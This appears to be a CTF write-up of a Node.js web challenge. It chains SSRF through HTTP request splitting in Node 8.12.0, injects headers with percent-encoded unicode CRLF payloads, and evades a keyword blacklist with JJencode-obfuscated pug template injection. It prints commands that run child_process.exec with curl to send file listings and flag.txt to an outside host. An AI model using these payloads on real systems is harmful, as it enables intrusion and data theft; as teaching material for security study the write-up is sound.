description :

Split this shit
http://web2.ctf.nullcon.net:8081/


Initial steps

When we first opened the website, we were presented with a static page that shows a GIF

but on viewing the source code there was an ajax request being sent

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
       document.getElementById("search").innerHTML = xhttp.responseText;
    }
};
xhttp.open("GET", "/core?q=1", true);
xhttp.send();

We tried fuzzing the q parameter but we got the same result and the same GIF.

So we decided to run dirsearch on the challenge to see if there's any other interesting endpoints, and this was the result

upon visiting /source, we get the same GIF once more...but we also get the source code of the challenge

//node 8.12.0
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');

app.get('/', function(req, res) {
    res.sendFile(path.join(__dirname + '/index.html'));
});

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/source.html'));
});

app.get('/getMeme',function(req,res){
   res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p><a href="https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw">via GIPHY</a></p>')

});

app.get('/flag', function(req, res) {
    var ip = req.connection.remoteAddress;
    if (ip.includes('127.0.0.1')) {
        var authheader = req.headers['adminauth'];
        var pug2 = decodeURI(req.headers['pug']);
        var x=pug2.match(/[a-z]/g);
        if(!x){
         if (authheader === "secretpassword") {
            var html = pug.render(pug2);
         }
        }
       else{
        res.send("No characters");
      }
    }
    else{
     res.send("You need to come from localhost");
    }
});

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/getMeme?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>Errrrr, You have been Blocked</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        resps = chunk.toString();
                        res.send(resps);
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

Reviewing the code

As we can see, this is Nodejs v8.12.0 (very important) as the first line of the code states, the code uses express as an HTTP server, http library as an HTTP client and pug as a template engine.

Before diving into the vulnerabilities,
first let me describe the flow of the application :

1 - /flag :

app.get('/flag', function(req, res) {
    var ip = req.connection.remoteAddress;
    if (ip.includes('127.0.0.1')) {
        var authheader = req.headers['adminauth'];
        var pug2 = decodeURI(req.headers['pug']);
        var x=pug2.match(/[a-z]/g);
        if(!x){
         if (authheader === "secretpassword") {
            var html = pug.render(pug2);
         }
        }
       else{
        res.send("No characters");
      }
    }
    else{
     res.send("You need to come from localhost");
    }
});

the pathname gives us a hint that this is our destination, but to be able to interact with it you have to request it from the loopback address 127.0.0.1, which means we should get an SSRF (Server side request forgery), after the IP check it checks for some HTTP headers in the request, which means we should be able to inject CRLF (Carriage Return/Line Feed) characters into the request to manipulate headers.

2 - /core :

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/getMeme?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>Errrrr, You have been Blocked</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        resps = chunk.toString();
                        res.send(resps);
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

The q parameter's value which is sent to /core is getting appended to an endpoint called http://localhost:8081/getMeme? and then the whole URL is passed through a filter (discussed in the next section)
then the URL gets requested by the http.get() function

3- blacklist(url) :

A url is passed to this function to make sure that it doesn't contain any of those ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"] as a substring


Exploitation

First step, we searched for 0days in Nodejs v8.12.0, we found one of the vulnerabilities very interesting as it gives us the CRLF injection

but it didn't provide any proof of concept so we had to figure out the exploitation technique ourselves.

So we opened github and started searching for the fix of this issue so we can understand what went wrong in the first place, until we found this commit https://github.com/nodejs/node/commit/dd20c0186f
which contains this line :

    var invalidPath;
    if (REVERT_CVE_2018_12116) {
      invalidPath = /[\u0000-\u0020]/.test(path);
    } else {
      invalidPath = INVALID_PATH_REGEX.test(path);
    }

    if (invalidPath)
      throw new TypeError('Request path contains unescaped characters');
  }

So we knew we are dealing with multibyte unicode characters, this gave us a great insight about what we'll be doing.

So we set-up the challenge locally and fired up wireshark and started creating the SSRF locally first.

we could achieve a request that looks like this

by injecting this %C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0%2Fflag

into /core?q=<payload>

as %C4%A0 is a space and %C4%8D%C4%8A is a newline.

Note : only the first response is sent to our browser back when we try this on the actual challenge so this exploit is going to be a blind one

So it's time to inject the headers
%C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0%2Fflag%C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8Aadminauth%3A%C4%A0secretpassword%C4%8D%C4%8Apug%3A%C4%A0aaa%C4%8D%C4%8Adummy%3A%C4%A0

using this payload our second request looks like this

GET /flag HTTP/1.1
Host: 127.0.0.1
adminauth: secretpassword
pug: secretpassword
dummy:  HTTP/1.1
Host: localhost:8081
Connection: close

Now the only thing that's missing is the pug template injection part

        var authheader = req.headers['adminauth'];
        var pug2 = decodeURI(req.headers['pug']);
        var x=pug2.match(/[a-z]/g);
        if(!x){
         if (authheader === "secretpassword") {
            var html = pug.render(pug2);
         }
        }
       else{
        res.send("No characters");

There's a regex that makes sure that the value of pug header doesn't contain any lowercase letters,
so we are not able to execute normal javascript code because in pug template, to run code your payload should look something like this - var x = global.process.mainModule.require('child_process').exec('curl -X POST http://nullcon2020.free.beeceptor.com/ -d \"$(ls)\"').

We thought of alternatives like jsfuck but the request would be too large, until we remembered JJencode which is a less popular way of obfuscating js code and its output is a lot smaller than jsfuck so the previous payload would look like this when encoded but as you can see, this payload contains !," and ' which are not allowed in the blacklist() function,
so we made this code to get an equivalent these characters

for(i=0x0000;i<0xffff;i++){
  if(Buffer.from(String.fromCharCode(i), "latin1").toString() == '!'){
    console.log(i);
    }
}

The code uses the technique described in this article https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/.

finally we made this python code to encode everything we need to encode in the jjencode payload

f1 = open('payload','r').read()
print f1.replace('!','%C8%A1').replace('\"','%C8%A2').replace('\'','%C8%A7').replace('+','%2b').replace(' ','+')

after we sent this as the pug header value we got a request with the files on the server, and one of them is flag.txt, so it was the time to construct our final payload which looked like
and executed var x = global.process.mainModule.require('child_process').exec('curl http://nullcon2020.free.beeceptor.com/$(cat flag.txt)')

so we finally got this request